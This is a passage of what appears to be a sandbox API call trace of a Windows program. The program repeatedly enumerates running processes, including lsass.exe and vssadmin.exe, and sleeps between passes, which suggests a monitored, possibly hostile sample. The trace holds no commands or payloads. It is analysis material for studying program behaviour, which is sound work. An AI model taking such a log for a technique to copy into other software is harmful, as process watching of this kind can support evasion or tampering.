Size=0xd) returned 0x33c1e58 [0182.266] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0182.266] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e88 [0182.266] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0182.267] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1df8 [0182.267] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0182.267] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1e70 [0182.267] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.267] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0182.267] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.267] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0182.267] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0182.267] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x8) returned 0x33f07b0 [0182.267] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.267] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0182.267] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.267] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0182.267] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.267] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0182.267] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.267] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0182.267] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.267] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0182.267] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.267] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0182.267] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.267] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0182.267] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.267] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0182.267] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.267] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0182.268] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.268] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0182.268] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0182.268] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0182.268] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.268] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0182.268] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0182.268] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0182.268] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0182.268] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xb) returned 0x33c1e88 [0182.268] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.268] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e88 [0182.268] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0182.268] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x15) returned 0x33d1ab8 [0182.268] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0182.268] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1a) returned 0x33cbf88 [0182.268] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0182.268] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x13) returned 0x33d1a18 [0182.268] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0182.268] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xe) returned 0x33c1df8 [0182.268] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0182.268] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0182.268] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0182.268] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e40 [0182.268] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0182.268] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1b18 [0182.269] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0182.269] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x12) returned 0x33d17f8 [0182.269] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0182.269] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e88 [0182.269] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0182.269] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e28 [0182.269] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0182.269] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e28 [0182.269] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0182.269] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e58 [0182.269] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0182.269] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0182.269] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0182.269] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0182.269] Sleep (dwMilliseconds=0x64) [0182.455] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1024) returned 0x33d60f0 [0182.455] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.455] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x2048) returned 0x33d60f0 [0182.455] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.456] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x306c) returned 0x33d60f0 [0182.456] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.456] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x4090) returned 0x33d60f0 [0182.456] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.456] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x50b4) returned 0x33d60f0 [0182.456] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.456] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x60d8) returned 0x33d60f0 [0182.456] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.456] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x70fc) returned 0x33d60f0 [0182.456] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.457] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x8120) returned 0x33d60f0 [0182.457] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.457] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x9144) returned 0x33d60f0 [0182.457] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.457] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xa168) returned 0x33d60f0 [0182.457] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.457] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xb18c) returned 0x33d60f0 [0182.457] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.458] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xc1b0) returned 0x33d60f0 [0182.458] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.458] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xd1d4) returned 0x33d60f0 [0182.458] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.458] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xe1f8) returned 0x33d60f0 [0182.458] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.458] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xf21c) returned 0x33d60f0 [0182.459] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.459] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x10240) returned 0x33d60f0 [0182.459] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.459] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x11264) returned 0x33d60f0 [0182.459] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.459] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x12288) returned 0x33d60f0 [0182.459] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.460] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x132ac) returned 0x33d60f0 [0182.460] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.460] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x142d0) returned 0x33d60f0 [0182.460] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.461] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x152f4) returned 0x33d60f0 [0182.461] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0182.461] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x16318) returned 0x33d60f0 [0182.461] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0x0 [0182.461] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0182.461] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x7) returned 0x33f0760 [0182.462] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0182.462] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x9) returned 0x33c1e70 [0182.462] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0182.462] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e28 [0182.462] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0182.462] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0182.462] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0182.462] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1de0 [0182.462] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0182.462] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0182.462] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0182.462] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e58 [0182.462] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0182.462] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e58 [0182.462] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0182.462] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1de0 [0182.462] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0182.462] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1de0 [0182.462] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.462] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0182.462] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.462] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0182.462] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0182.462] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x8) returned 0x33f05e0 [0182.462] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.462] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0182.463] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.463] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0182.463] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.463] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0182.463] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.463] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0182.463] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.463] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0182.463] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.463] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0182.463] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.463] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0182.463] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.463] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0182.463] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.463] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0182.463] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.463] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0182.463] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0182.463] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0182.463] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.463] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0182.463] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0182.463] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e88 [0182.463] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0182.463] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xb) returned 0x33c1de0 [0182.464] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0182.464] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e88 [0182.464] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0182.464] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x15) returned 0x33d17f8 [0182.464] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0182.464] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1a) returned 0x33cc050 [0182.464] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0182.464] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x13) returned 0x33d1ab8 [0182.464] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0182.464] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xe) returned 0x33c1e40 [0182.464] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0182.464] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0182.464] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0182.464] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e28 [0182.464] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0182.464] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1838 [0182.464] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0182.464] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x12) returned 0x33d1a18 [0182.464] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0182.464] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e58 [0182.464] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0182.464] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0182.464] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0182.464] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e40 [0182.464] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0182.465] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0182.465] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0182.465] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0182.465] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0182.465] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0182.465] Sleep (dwMilliseconds=0x64) [0183.047] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1024) returned 0x33d60f0 [0183.047] NtQuerySystemInformation (in: 